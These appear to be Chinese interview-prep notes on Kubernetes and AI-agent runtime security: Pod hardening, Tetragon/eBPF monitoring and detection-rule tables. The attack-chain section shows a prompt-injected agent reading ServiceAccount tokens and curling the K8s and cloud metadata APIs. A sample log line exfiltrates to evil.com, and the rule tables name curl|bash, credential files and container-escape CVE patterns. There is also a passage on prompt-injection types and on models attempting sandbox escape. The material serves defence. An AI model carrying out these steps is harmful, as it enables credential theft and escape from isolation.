Kubernetes(容器编排平台):
用户 → kubectl → kube-apiserver → scheduler → kubelet → containerd → runc → 容器
管理成百上千台机器上的容器调度、网络、存储、弹性伸缩、滚动更新
维度 Docker(单机) Kubernetes(集群)
容器运行时 dockerd + containerd + runc containerd/CRI-O + runc/kata(Docker 已被 K8s 弃用)
调度 手动指定在哪台机器运行 scheduler 自动调度到合适 Node
网络 docker0 bridge,默认 NAT 扁平网络,每个 Pod 有独立 IP,跨 Node 直通
服务发现 --link(已废弃)或手动 内置 DNS(CoreDNS),Service 自动注册
存储 docker volume,本机 PV/PVC,支持分布式存储(Ceph、EBS 等)
安全模型 Docker socket(root 权限)、seccomp、AppArmor RBAC + NetworkPolicy + PSA + Admission Controller + RuntimeClass
弹性伸缩 没有 HPA(按 CPU/内存自动扩缩 Pod 数量)
滚动更新 手动 stop + start Deployment 自动滚动更新 + 回滚

K8s 1.24+ 已移除 dockershim——不再直接支持 Docker 作为容器运行时,改用 containerd 或 CRI-O 通过 CRI(Container Runtime Interface)接口对接。实际运行的还是 runc 创建的容器,只是管理层从 dockerd 变成了 containerd。

安全层面的关键区别:

  • Docker:安全主要依赖 Linux 内核机制(namespace/cgroup/seccomp/LSM),Docker 本身只是管理工具
  • K8s:在内核机制之上叠加了集群级安全:RBAC(谁能做什么)、NetworkPolicy(谁能连谁)、Admission Controller(Pod 创建时的策略校验)、Secret 管理等。但 K8s 也引入了新攻击面——apiserver、etcd、kubelet API、ServiceAccount token 等

Q: K8s 中 Pod 安全相关的机制有哪些?

Pod Security Standards(PSS)/ Pod Security Admission(PSA):
K8s 1.25+ 替代了废弃的 PodSecurityPolicy(PSP)。定义三个级别:

  • Privileged:不限制,用于系统级组件(如 DaemonSet 形式的 eBPF agent)
  • Baseline:禁止已知的提权手段(hostNetwork、hostPID、privileged container 等)
  • Restricted:最严格,要求 non-root、drop ALL capabilities、read-only rootfs、禁止 hostPath 等

对 Agent 的 Code Interpreter Pod,应该使用 Restricted 级别。

其他关键机制:

  • RBAC:控制 ServiceAccount 对 K8s API 的访问。Agent Pod 的 ServiceAccount 应该零权限
  • NetworkPolicy:限制 Pod 的网络出入。Agent Pod 只允许出站到特定 API endpoint
  • ResourceQuota / LimitRange:限制 namespace 和 Pod 级别的资源
  • RuntimeClass:指定容器运行时(可以为 Agent Pod 指定 Kata/gVisor)
  • Admission Controller:OPA/Gatekeeper 或 Kyverno 自定义策略

一个 Restricted 级别 Agent Pod 的 securityContext 示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
apiVersion: v1
kind: Pod
metadata:
name: agent-code-interpreter
namespace: agent-tenant-a
spec:
automountServiceAccountToken: false # 不挂载 SA token
runtimeClassName: kata # 使用 Kata 运行时
securityContext:
runAsNonRoot: true
runAsUser: 1000
runAsGroup: 1000
fsGroup: 1000
seccompProfile:
type: Localhost
localhostProfile: agent-seccomp.json # 自定义 seccomp profile
containers:
- name: interpreter
image: registry.internal/agent-interpreter:v1.2
securityContext:
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
capabilities:
drop: ["ALL"] # 丢弃所有 capabilities
resources:
limits:
cpu: "2"
memory: "4Gi"
ephemeral-storage: "10Gi"
volumeMounts:
- name: workspace
mountPath: /workspace
- name: tmp
mountPath: /tmp
volumes:
- name: workspace
emptyDir:
sizeLimit: 5Gi
- name: tmp
emptyDir:
sizeLimit: 1Gi

Q: K8s 环境下的攻击路径有哪些?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
K8s 攻击面全景:

┌─ Pod 层面
│ ├── 容器逃逸(runc/containerd 漏洞、内核漏洞)
│ ├── 特权容器滥用、hostPath 挂载、hostNetwork/hostPID
│ └── ServiceAccount token 泄漏 → 调用 K8s API
│
├─ K8s API 层面
│ ├── RBAC 配置不当(过度授权的 ServiceAccount、ClusterRoleBinding 滥用)
│ ├── 匿名访问未禁止(--anonymous-auth=true)
│ ├── etcd 未加密/未认证 → 读取所有 Secret
│ └── Admission webhook 绕过(webhook 不可用时 failOpen)
│
├─ 网络层面
│ ├── 无 NetworkPolicy → 所有 Pod 间随意通信
│ ├── 访问 metadata API(169.254.169.254)获取云 IAM 凭证
│ ├── 访问 kubelet API(10250 端口)读取 Pod 信息/执行命令
│ └── DNS rebinding / DNS 重绑定绕过网络策略
│
├─ 供应链
│ ├── 恶意基础镜像 / 镜像中的后门
│ ├── 被篡改的 Helm chart(第三方仓库)
│ └── CI/CD pipeline 注入(GitHub Actions / GitLab CI 凭证窃取)
│
└─ Node 层面
├── kubelet 未认证接口(10255 只读端口、10250 读写端口)
├── 容器运行时 socket 暴露(/var/run/containerd/containerd.sock)
└── Node 提权后横向移动到同 Node 所有 Pod

对 AI Agent 场景最关键的 3 条攻击链:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
攻击链 1:Agent → SA token → K8s API → 横向移动
Agent 被 prompt injection
→ 生成代码读取 /var/run/secrets/kubernetes.io/serviceaccount/token
→ 用 token 调用 K8s API(curl https://$KUBERNETES_SERVICE_HOST:443 -H "Authorization: Bearer $TOKEN")
→ 如果 SA 有权限:列出 Pod、读取其他 namespace 的 Secret、创建特权 Pod
防御:automountServiceAccountToken: false + RBAC 零权限

攻击链 2:Agent → metadata API → 云凭证 → 云资源
Agent 被注入
→ curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
→ 获取 IAM 临时凭证(AccessKeyId + SecretAccessKey + Token)
→ 用凭证访问 S3、RDS、SQS 等云资源
防御:NetworkPolicy 阻断 169.254.169.254 + IMDS v2(需要 PUT 获取 token)

攻击链 3:Agent → 内核漏洞 → 容器逃逸 → Node
Agent 生成的代码触发内核漏洞
→ 获得 host root 权限
→ 读取同 Node 上所有 Pod 的 Secret(/var/lib/kubelet/pods/*/volumes/)
→ 或者读取 kubelet kubeconfig 获得集群管理权限
防御:Kata/Firecracker 隔离(独立内核)+ 节点最小化

Q: 如何在 K8s 中部署 eBPF 安全监控?

整体架构:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
┌─── K8s Cluster ───────────────────────────────────────────────────┐
│ │
│ Node A Node B │
│ ┌─────────────────────┐ ┌─────────────────────┐ │
│ │ Tetragon Pod │ │ Tetragon Pod │ │
│ │ (DaemonSet, │ │ (DaemonSet, │ │
│ │ privileged) │ │ privileged) │ │
│ │ │ │ │ │
│ │ ┌─ 内核 ──────────┐ │ │ ┌─ 内核 ──────────┐ │ │
│ │ │ eBPF progs │ │ │ │ eBPF progs │ │ │
│ │ │ (kprobe/tp/LSM) │ │ │ │ (kprobe/tp/LSM) │ │ │
│ │ │ │ │ │ │ │ │ │ │ │
│ │ │ ring buffer │ │ │ │ ring buffer │ │ │
│ │ └──────┼──────────┘ │ │ └──────┼──────────┘ │ │
│ │ ▼ │ │ ▼ │ │
│ │ 用户态 agent │ │ 用户态 agent │ │
│ │ ├ K8s API 查询 Pod │ │ ├ K8s API 查询 Pod │ │
│ │ │ 元数据(name, │ │ │ 元数据 │ │
│ │ │ namespace,labels)│ │ │ │ │
│ │ ├ 关联 cgroup ID │ │ ├ 关联 cgroup ID │ │
│ │ │ → Pod 身份 │ │ │ → Pod 身份 │ │
│ │ └ 输出事件 │ │ └ 输出事件 │ │
│ └────────┬────────────┘ └────────┬────────────┘ │
│ │ │ │
│ ▼ ▼ │
│ ┌────────────────────────────────────────────┐ │
│ │ 事件聚合层 │ │
│ │ Tetragon gRPC API / Fluentd / OTEL │ │
│ │ │ │ │
│ │ ▼ │ │
│ │ ┌─── 存储与分析 ─────────────┐ │ │
│ │ │ Elasticsearch / Loki │ │ │
│ │ │ Prometheus (metrics) │ │ │
│ │ │ Grafana (可视化) │ │ │
│ │ └────────────┬───────────────┘ │ │
│ │ ▼ │ │
│ │ ┌─── 告警与响应 ─────────────┐ │ │
│ │ │ AlertManager │ │ │
│ │ │ Security Analyzer │ │ │
│ │ │ (关联 Agent tool call 上下文)│ │ │
│ │ └────────────────────────────┘ │ │
│ └────────────────────────────────────────────┘ │
└──────────────────────────────────────────────────────────────────┘

部署步骤详解:

Step 1:安装 Tetragon(Helm)

1
2
3
4
5
helm repo add cilium https://helm.cilium.io
helm install tetragon cilium/tetragon -n kube-system \
--set tetragon.btf=/sys/kernel/btf/vmlinux \
--set tetragon.enableProcessCred=true \
--set tetragon.enableProcessNs=true

这会创建一个 DaemonSet,在每个 Node 上运行一个 Tetragon Pod。

Step 2:Tetragon Pod 需要的权限

1
2
3
4
5
6
7
8
9
# Tetragon DaemonSet 的关键配置(Helm 自动处理)
securityContext:
privileged: true # 需要特权才能加载 eBPF 程序
volumeMounts:
- name: bpf-maps
mountPath: /sys/fs/bpf # BPF 文件系统,pin map 用
- name: cilium-run
mountPath: /var/run/cilium
hostPID: true # 需要看到 host 的进程(关联 PID → Pod)

注意:Tetragon 自身是高权限 Pod,是攻击者的高价值目标——需要确保它自身的镜像安全、RBAC 最小化(只需读取 Pod 元数据的权限)。

Step 3:创建 TracingPolicy(自定义监控规则)

TracingPolicy 是 Tetragon 的 CRD,定义”hook 哪个函数、看哪些参数、什么条件下触发什么动作”:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
# 示例 1:监控 Agent Pod 的文件访问
apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
name: agent-file-monitor
spec:
kprobes:
- call: "security_file_open" # hook LSM 的 file_open
syscall: false
args:
- index: 0
type: "file" # 自动解析文件路径
selectors:
- matchNamespaces: # 只监控容器内(排除 host)
- namespace: Mnt
operator: NotIn
values: ["host_mnt_ns"]
matchArgs: # 只关注敏感路径
- index: 0
operator: "Prefix"
values: ["/etc/shadow", "/etc/passwd", "/proc/1", "/var/run/secrets"]
matchActions:
- action: Post # 记录事件(也可以用 Sigkill 直接杀进程)
---
# 示例 2:监控网络连接
apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
name: agent-network-monitor
spec:
kprobes:
- call: "tcp_connect"
syscall: false
args:
- index: 0
type: "sock" # 自动解析 IP:port
selectors:
- matchNamespaces:
- namespace: Mnt
operator: NotIn
values: ["host_mnt_ns"]
matchActions:
- action: Post
---
# 示例 3:阻止容器内执行非白名单二进制
apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
name: agent-exec-restrict
spec:
tracepoints:
- subsystem: "sched"
event: "sched_process_exec"
args:
- index: 0
type: "string" # 可执行文件路径
selectors:
- matchNamespaces:
- namespace: Mnt
operator: NotIn
values: ["host_mnt_ns"]
matchArgs:
- index: 0
operator: "NotPrefix" # 如果不在白名单前缀内
values: ["/usr/bin/python3", "/usr/bin/node", "/bin/sh", "/bin/bash"]
matchActions:
- action: Sigkill # 直接杀掉
rateLimit: 1m # 限速,避免日志风暴

Step 4:事件输出与消费

1
2
3
4
5
6
7
8
# 实时查看事件(调试用)
kubectl exec -n kube-system ds/tetragon -c tetragon -- \
tetra getevents -o compact

# 输出格式示例
🔴 exit agent-tenant-a/agent-pod-xyz /usr/bin/curl https://evil.com/exfil
🟡 connect agent-tenant-a/agent-pod-xyz 169.254.169.254:80
🔴 open agent-tenant-a/agent-pod-xyz /etc/shadow

生产环境中事件通过 gRPC API → Fluentd/OTEL collector → Elasticsearch/Loki 存储 → Grafana 展示 + AlertManager 告警。

Step 5:关联 eBPF 事件到 Pod 身份

这是 K8s 环境下 eBPF 监控的关键步骤——eBPF 在内核层只能看到 cgroup ID 和 PID,需要映射到 K8s 的 Pod 名、Namespace、Labels:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
内核侧:
eBPF 程序调用 bpf_get_current_cgroup_id() → 得到 cgroup ID

用户态:
Tetragon agent 启动时通过 K8s API watch Pod 事件
维护一个 cgroup ID → Pod 元数据的映射表:
cgroup_id_12345 → {
name: "agent-pod-xyz",
namespace: "agent-tenant-a",
labels: {"tenant": "acme", "runtime": "kata"},
serviceAccount: "agent-sa",
containerID: "containerd://abc..."
}

eBPF 事件到达用户态后,enrichment:
原始事件:{cgroup_id: 12345, syscall: "open", path: "/etc/shadow"}
→ 关联后:{pod: "agent-pod-xyz", namespace: "agent-tenant-a",
tenant: "acme", syscall: "open", path: "/etc/shadow"}

关键挑战:

  • Tetragon Pod 自身需要高权限——它是攻击者的高价值目标
  • 大规模集群中 eBPF 事件量巨大,必须在内核侧通过 selector 做过滤
  • 不同 Node 可能运行不同内核版本,eBPF 程序需要 CO-RE 支持
  • 如果使用 Kata/Firecracker,eBPF 程序需要加载到 guest 内核(不是 host 内核),部署方式不同

Q: K8s 多租户隔离方案?

K8s 原生并非为强多租户设计(共享内核、共享 apiserver),需要额外加固:

软隔离 vs 强隔离:

软隔离(Namespace 级别) 强隔离(VM/Node 级别)
方式 K8s Namespace + RBAC + NetworkPolicy Kata/Firecracker + 专用 Node
内核 共享 host 内核 每个 Pod 独立内核
安全等级 中(内核漏洞可跨租户) 高(VM 边界)
适用场景 互信的内部团队 AI Agent 多租户(不可信代码)
性能开销 低 中(VM 启动 ~125ms)

Agent 多租户推荐方案:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
K8s Cluster
├── Namespace: agent-tenant-a
│ ├── Pod (RuntimeClass: kata) → Kata microVM → Container
│ ├── NetworkPolicy: deny-all + allow egress to API only
│ ├── ResourceQuota: cpu=4, memory=8Gi, pods=10
│ └── ServiceAccount: no RBAC bindings, no token mount
│
├── Namespace: agent-tenant-b (同上)
│
├── Namespace: security-monitoring
│ ├── Tetragon DaemonSet (eBPF agent)
│ ├── Security Event Collector
│ └── Alert Manager
│
└── Admission Controller (OPA/Gatekeeper)
├── 禁止 privileged containers (除 monitoring namespace)
├── 禁止 hostPath/hostNetwork/hostPID
├── 强制 RuntimeClass: kata
├── 强制 automountServiceAccountToken: false
└── 强制 securityContext: runAsNonRoot, readOnlyRootFilesystem

Cilium 在网络层的作用(替代 kube-proxy):

  • 基于 eBPF 做 Service 负载均衡(比 iptables 性能高)
  • CiliumNetworkPolicy 支持 L7 策略(HTTP path/method 级别过滤)
  • 可以按 DNS 域名做出口过滤(而不是只能按 IP,DNS 域名更友好)
  • 透明加密(WireGuard/IPsec)保护 Pod 间通信

NetworkPolicy 示例(Agent Pod 出口白名单):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: agent-egress-whitelist
namespace: agent-tenant-a
spec:
podSelector: {} # 应用到该 namespace 所有 Pod
policyTypes:
- Egress
- Ingress
ingress: [] # 禁止所有入站
egress:
- to: # 只允许连接 LLM API
- ipBlock:
cidr: 10.0.50.0/24 # 内部 LLM API 网段
ports:
- port: 443
protocol: TCP
- to: # 允许 DNS 查询(CoreDNS)
- namespaceSelector:
matchLabels:
kubernetes.io/metadata.name: kube-system
ports:
- port: 53
protocol: UDP
# 注意:没有列出 169.254.169.254,所以 metadata API 被隐式禁止

Q: K8s Secret 管理安全?

K8s Secret 默认只是 base64 编码(不是加密),安全风险很大:

风险全景:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
Secret 在整个生命周期中的暴露点:

1. etcd 中明文存储(除非开启 encryption at rest)
→ 攻击者拿到 etcd 访问权 = 读取所有 Secret

2. 通过 K8s API 读取
→ kubectl get secret -o yaml(取决于 RBAC)
→ ServiceAccount token 泄漏后远程读取

3. 挂载到 Pod 后是明文文件
→ /var/run/secrets/kubernetes.io/serviceaccount/token
→ 容器内任何进程都能读

4. 环境变量注入
→ /proc/self/environ 可以被读取
→ 如果有 SYS_PTRACE 权限,可以读其他进程的 environ

5. kubelet 缓存
→ Node 上 /var/lib/kubelet/pods/*/volumes/kubernetes.io~secret/
→ 容器逃逸到 host 后可以读取同 Node 所有 Pod 的 Secret

安全实践:

  • 开启 etcd encryption at rest(--encryption-provider-config)
  • 使用外部 Secret 管理:HashiCorp Vault + External Secrets Operator
  • Agent Pod 禁止自动挂载 ServiceAccount token(automountServiceAccountToken: false)
  • 如果 Agent 需要 API 凭证(如 LLM API key),通过 CSI Secret Store 挂载,而不是 K8s Secret
  • RBAC 严格限制 Secret 的 get/list 权限
  • 用 eBPF LSM 监控 /var/run/secrets/ 和 /proc/*/environ 的访问

Q: GPU 隔离在多租户 Agent 环境中的安全问题?

GPU 共享的安全挑战:

  • GPU 显存没有像 CPU 内存那样的硬件级隔离(没有 MMU 级别的进程隔离)
  • 显存残留:上一个任务释放的显存可能被下一个任务读到
  • NVIDIA Container Toolkit 本身也是攻击面——CVE-2025-23266(NVIDIAScape)允许通过容器逃逸到 host

隔离方案对比:

方案 原理 隔离强度 性能 适用场景
MIG A100/H100 硬件级 GPU 分区 强(独立显存+计算单元) 好 多租户推理
MPS 软件级 CUDA context 共享 弱(无安全隔离) 最好 受信任的内部任务
vGPU(GRID) Hypervisor 虚拟化 中 中 虚拟化环境
Time-slicing 时间片轮转 无 好 开发/测试
不挂载 GPU API 调用远程推理服务 最强(无 GPU 攻击面) 依赖网络 Agent Code Interpreter

Agent 场景建议:

  • Code Interpreter 通常不需要本地 GPU——让它通过 API 调用远程推理服务,消除 GPU 攻击面
  • 如果必须本地 GPU:优先 MIG 做硬件隔离,确保 NVIDIA Container Toolkit 及时更新
  • 在 Kata microVM 方案中,GPU passthrough 会给 guest 完全控制权——安全性不如 MIG/vGPU

七、技术问答:AI Agent 安全

Q: 如何用 eBPF 追踪 Code Interpreter 容器内的行为?

在 host 上以 DaemonSet 方式部署 eBPF agent,attach 到以下 hook 点:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
进程监控:
tracepoint/sched/sched_process_exec → execve
tracepoint/sched/sched_process_fork → 进程创建
tracepoint/sched/sched_process_exit → 进程退出
→ 通过 bpf_get_current_cgroup_id() 关联到容器

文件监控:
LSM: security_file_open / security_inode_create / security_inode_unlink
→ 从 dentry 提取路径,检查是否在允许范围内

网络监控:
LSM: security_socket_connect → 出站连接
kprobe: tcp_v4_connect → TCP 连接细节
→ 记录目标 IP/端口、DNS 查询内容,与白名单对比

数据传输:ring buffer → 用户态 collector → 与 tool call 上下文关联

关键挑战: AI Agent 的行为不可预测——传统 workload 的 baseline 是稳定的,但 Agent 执行的代码完全取决于 LLM 推理输出。不能简单做 syscall profile 匹配,需要把系统事件和应用层上下文关联起来。

Q: 如何定义 AI Agent 的”正常行为”?

思路是分层 baseline:

静态层(确定性):

  • 可执行文件白名单:只允许 python3、node、bash 等预定义解释器
  • 文件路径白名单:只允许 /workspace/、/tmp/、Python 标准库路径
  • 网络端点白名单:只允许连接特定 API
  • 禁止列表:永远不应访问的文件(/etc/shadow、~/.ssh/、/proc/1/root)

动态层(统计性):

  • 资源消耗基线:单次 tool call 的平均 CPU/内存/IO/网络
  • 异常检测:突然产生 1000 个文件操作 或 大量 DNS 查询

上下文关联层(语义性):

  • “数据分析”tool call 中 open csv 合理,connect 到外部 IP 可疑
  • 将 eBPF 遥测事件与应用层 tool call 日志通过时间戳 + 容器 ID + PID 关联

Q: Prompt Injection 的分类?

Direct:用户直接输入恶意 prompt 覆盖系统指令,相对容易防。

Indirect:更危险。攻击者将恶意指令嵌入 Agent 会读取的外部数据中:

  • 网页中的隐藏文本、代码注释(CVE-2025-53773 Copilot)、文档/邮件、API 返回

Multi-Agent 传播:注入低权限 Agent 来间接控制高权限 Agent(ServiceNow Now Assist 2025 案例)。

对 Runtime Security 的启示: Prompt injection 是应用层问题,但后果体现在系统层。eBPF 监控是 prompt injection 的最后防线——即使应用层过滤失败,系统层策略仍然能拦住恶意行为。

Q: Tool Use 中的安全风险?

  • 过度授权:Agent 被赋予不必要的工具能力,被劫持后攻击面倍增
  • 参数注入:LLM 生成的 tool call 参数包含恶意内容(SQL 注入、命令注入)
  • 链式调用提权:多步组合形成攻击链(读配置获取 API key → 调高权限服务 → 外泄数据)
  • 信任传递:Agent A 信任 Agent B 输出,攻击者通过 A 注入影响 B

防御原则是 Meta 的 “Agents Rule of Two”**:不受信任的输入永远不应直接控制特权操作。eBPF 在系统层面做 tool call 的效果审计**——不管 LLM 认为它在做什么,系统层看到的是真实 syscall。

Q: Code Interpreter 沙箱可能被怎么攻破?

  1. 容器逃逸:runc/containerd CVE、内核漏洞提权、配置不当。SandboxEscapeBench(2026.3)论文已证明前沿模型会主动探测和尝试逃逸
  2. 网络外泄:HTTP/DNS 数据泄露、DNS 隧道、ICMP 隧道
  3. 文件系统越权:多租户共享存储卷时路径穿越、/proc /sys 信息泄漏
  4. 资源耗尽 DoS:fork bomb、内存耗尽
  5. 供应链攻击:pip install 恶意包(setup.py 执行任意代码)
  6. 持久化:容器复用时留后门。防御:每个 task 用 ephemeral 容器

Q: Agent 安全的未来趋势?

短期(1-2年):

  • eBPF 成为 Agent Runtime 监控标配;microVM 成为 Code Interpreter 默认隔离方案
  • OWASP Agentic AI Top 10 推动标准化;EU AI Act 2026.8 生效

中期(3-5年):

  • 专门的 “Agent Security Platform”(类似 CWPP,但针对 Agent 特殊性)
  • eBPF + LLM 闭环:用 LLM 分析 eBPF 遥测做安全研判
  • 硬件辅助隔离:GPU TEE、Intel TDX / AMD SEV

核心观点: Agent 安全必须打通”应用层 + 系统层”。只懂 LLM 的人不知道内核攻击面,只懂内核的人不理解 prompt injection。这个岗位需要能连接两端的人。


八、场景设计题

Q: 设计一个多租户 Code Interpreter 的运行时安全方案

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
用户请求 → API Gateway → Agent Orchestrator → Sandbox Manager
│
┌──────────────┼──────────────┐
▼ ▼ ▼
[Tenant A] [Tenant B] [Tenant C]
Firecracker Firecracker Firecracker
microVM microVM microVM
│ │ │
Container Container Container
+ Seccomp + Seccomp + Seccomp
+ eBPF LSM + eBPF LSM + eBPF LSM

Host:
┌─────────────────────────────────────────────────────────┐
│ eBPF Agent (DaemonSet) │
│ ├── tracepoint/LSM hooks → ring buffer → collector │
│ └── Metrics → Prometheus/OTEL │
│ Security Pipeline: events → Kafka → Analyzer → Alert │
└─────────────────────────────────────────────────────────┘

第一层:强隔离 — Firecracker microVM,独立内核,session 结束后销毁
第二层:容器加固 — 最小 rootfs + Seccomp 白名单 + drop capabilities + read-only rootfs + uid 1000
第三层:eBPF 监控 — 进程/文件/网络/权限变更,LSM 策略按 cgroup ID 区分租户
第四层:上下文关联 — eBPF 事件 + tool call 日志关联,规则引擎判定风险等级
第五层:网络策略 — eBPF 出口过滤 + DNS 白名单 + 内部 PyPI 镜像

Q:(追问)具体配什么规则,能发现什么风险?

按风险场景逐个拆解,每条规则说明 hook 点 → 检测逻辑 → 能发现什么 → 处置动作:

一、容器逃逸 / 提权类

# eBPF hook 点 检测逻辑 发现的风险 处置
1 LSM security_file_open 打开 /proc/self/exe 且 flags 含 O_PATH CVE-2019-5736 runc 覆写攻击的前置动作 阻断 + kill
2 LSM security_file_open 打开 /proc/self/fd/[0-9]+ 且路径中含 /../ CVE-2024-21626 fd 泄漏逃逸(WORKDIR 利用) 阻断 + kill
3 LSM security_file_open 写入 /sys/fs/cgroup/*/release_agent CVE-2022-0492 cgroup 逃逸 阻断 + kill
4 tracepoint sys_enter_mount / sys_enter_pivot_root Agent 容器中任何 mount/pivot_root 调用 尝试挂载 host 文件系统 Seccomp 层已阻断,eBPF 层记录告警
5 LSM security_capable 检查是否尝试获取 CAP_SYS_ADMIN/CAP_SYS_PTRACE 提权尝试 阻断 + 告警
6 tracepoint sys_enter_ptrace Agent 容器内任何 ptrace 调用 进程注入 / 调试其他进程 Seccomp 层已阻断,eBPF 层记录
7 kprobe commit_creds 监控 uid/gid 从非零变为零 内核漏洞提权成功 Critical 告警 + 立即销毁 VM
8 LSM security_file_open 打开 /var/run/docker.sock 或 containerd socket 容器运行时 socket 访问(配置不当时才可能) 阻断 + 告警

二、敏感文件访问类

# eBPF hook 点 检测逻辑 发现的风险 处置
9 LSM security_file_open 路径匹配黑名单:/etc/shadow, /etc/passwd, /etc/sudoers 凭证窃取 阻断
10 LSM security_file_open 路径匹配:~/.ssh/*, ~/.gnupg/*, ~/.aws/* SSH 密钥 / 云凭证窃取 阻断
11 LSM security_file_open 路径匹配:/proc/1/*(host init 进程的信息) host 信息侦察 阻断
12 LSM security_file_open 路径匹配:/var/run/secrets/kubernetes.io/* K8s ServiceAccount token 窃取 阻断(配合 automountServiceAccountToken: false)
13 LSM security_file_open 路径匹配:/proc/*/environ 环境变量中的 API key / Secret 泄漏 阻断(仅允许读自身进程的)
14 LSM security_file_open 路径不在白名单(/workspace/, /tmp/, Python 标准库路径)中 未授权文件访问 记录 + 频率超阈值则告警
15 LSM security_inode_unlink / security_inode_rename 删除或重命名 /workspace 外的文件 破坏性操作 阻断

三、异常网络行为类

# eBPF hook 点 检测逻辑 发现的风险 处置
16 LSM security_socket_connect 目标 IP:port 不在白名单中 未授权外联(数据外泄、C2 通信) 阻断
17 LSM security_socket_connect 连接 169.254.169.254:80(云 metadata API) 云凭证窃取(AWS/GCP/Azure IAM) 阻断
18 LSM security_socket_connect 连接 10.0.0.1:10250 或 kubelet 端口 K8s API / kubelet 未授权访问 阻断
19 kprobe udp_sendmsg DNS 查询域名不在白名单中 DNS 隧道 / 探测内网 / 未授权域名访问 阻断或记录
20 kprobe tcp_sendmsg 统计单位时间出站数据量 大规模数据外泄 超阈值(如 >10MB/min)告警 + 限速
21 LSM security_socket_create socket 类型为 SOCK_RAW(原始套接字) ICMP 隧道 / 网络扫描 阻断
22 tracepoint net:net_dev_xmit + 包解析 检测 DNS over HTTPS / DNS over TLS 到非白名单 绕过 DNS 过滤的隐蔽通道 阻断

四、异常进程行为类

# eBPF hook 点 检测逻辑 发现的风险 处置
23 tracepoint sched_process_exec 执行的二进制不在白名单(python3, node, bash, sh, pip) 未授权程序执行(如下载的恶意二进制) 阻断或告警
24 tracepoint sched_process_exec 执行 curl|bash、wget|sh、python -c "import os; os.system()" 等模式 远程代码下载执行 Critical 告警
25 tracepoint sched_process_fork 统计单位时间内 fork 数量 fork bomb(资源耗尽 DoS) 超阈值(如 >50/s)后 cgroup 冻结
26 tracepoint sched_process_exec 执行 chmod +s、chown root 等命令 SUID 提权尝试 告警
27 kprobe __x64_sys_setuid / __x64_sys_setgid 任何 setuid/setgid 调用 权限提升 阻断(Seccomp + eBPF 双重)
28 tracepoint sched_process_exec 执行 pip install / npm install + 包名不在预审白名单中 供应链攻击(typosquatting、恶意包) 告警 + 如果没走内部镜像则阻断

五、资源滥用类

# eBPF hook 点 检测逻辑 发现的风险 处置
29 cgroup 级别的 CPU/内存监控 CPU 使用率持续 >90% 超过 N 秒 挖矿、死循环、资源抢占 限速 + 告警
30 LSM security_inode_create /tmp 或 /workspace 下文件创建频率/总量 磁盘填充 DoS 超阈值后阻断新文件创建
31 tracepoint sched_process_fork + PID cgroup 限制 PID 数量接近 cgroup limit fork bomb 的早期信号 告警

六、容器逃逸特征签名(基于已知 CVE 的精确匹配)

CVE 特征 syscall 序列 eBPF 检测点
CVE-2019-5736 open(/proc/self/exe, O_PATH) → openat(/proc/self/fd/N, O_WRONLY) LSM security_file_open 组合规则
CVE-2024-21626 openat 参数中出现 /proc/self/fd/[0-9]+/../../.. LSM security_file_open 路径正则
CVE-2022-0492 write(/sys/fs/cgroup/*/release_agent, ...) LSM security_file_open 写模式
CVE-2019-14271 容器内替换 /usr/lib/libnss_*.so LSM security_inode_rename 目标路径
通用内核提权 commit_creds 被调用且 uid 变为 0 kprobe commit_creds + 前后 uid 对比

七、规则之间的关联分析

单条规则触发可能是误报,多条规则的组合才是高置信度告警:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
低风险(单条触发 → 记录日志):
- 访问了 /workspace 外的一个文件
- 一次 DNS 查询到非白名单域名

中风险(两条关联 → 告警):
- 执行了 curl + 随后创建了新的可执行文件
- 读取了 /proc/self/environ + 随后发起了外联网络连接
→ 可能在偷 API key 然后外泄

高风险(明确攻击特征 → 阻断 + kill + 销毁 VM):
- 触发容器逃逸 CVE 签名中的任何一条
- commit_creds 检测到 uid 变为 0
- 连接 metadata API(169.254.169.254)

关联分析时间窗口:同一容器 ID 内,30 秒内的事件做关联

八、用 eBPF + 应用上下文做语义级检测

上面都是纯系统层规则。更高级的检测是把 eBPF 事件和 Agent 的 tool call 上下文关联:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
应用侧 (Agent Orchestrator) 通过 API 告知安全 pipeline:
{container_id: "abc123", tool: "python_exec", task: "数据分析", ts: 1712600000}

eBPF 侧在同一 container_id 同一时间窗口内采集到:
security_socket_connect → 连接外部 IP ← 数据分析任务不应该外联
security_file_open → /etc/passwd ← 数据分析任务不应该读系统文件

语义级判定:
如果 tool=python_exec 且 task=数据分析:
允许:open(/workspace/*.csv), open(/tmp/*), 读 Python 标准库
告警:任何网络连接、访问 /etc/ 下文件、执行非 python3 的二进制

如果 tool=web_search:
允许:DNS 查询 + HTTP(S) 连接到白名单域名
告警:访问本地文件系统(/workspace 除外)、执行 shell 命令

如果 tool=file_write:
允许:写入 /workspace/ 下的文件
告警:写入 /workspace/ 外、创建可执行文件(+x 权限)、写入隐藏文件 (.*)

这种”系统遥测 + 应用语义“的组合检测,是 Agent 安全和传统容器安全最大的区别——传统容器安全只有系统层规则,但 Agent 的行为是否异常取决于它当前在执行什么任务。

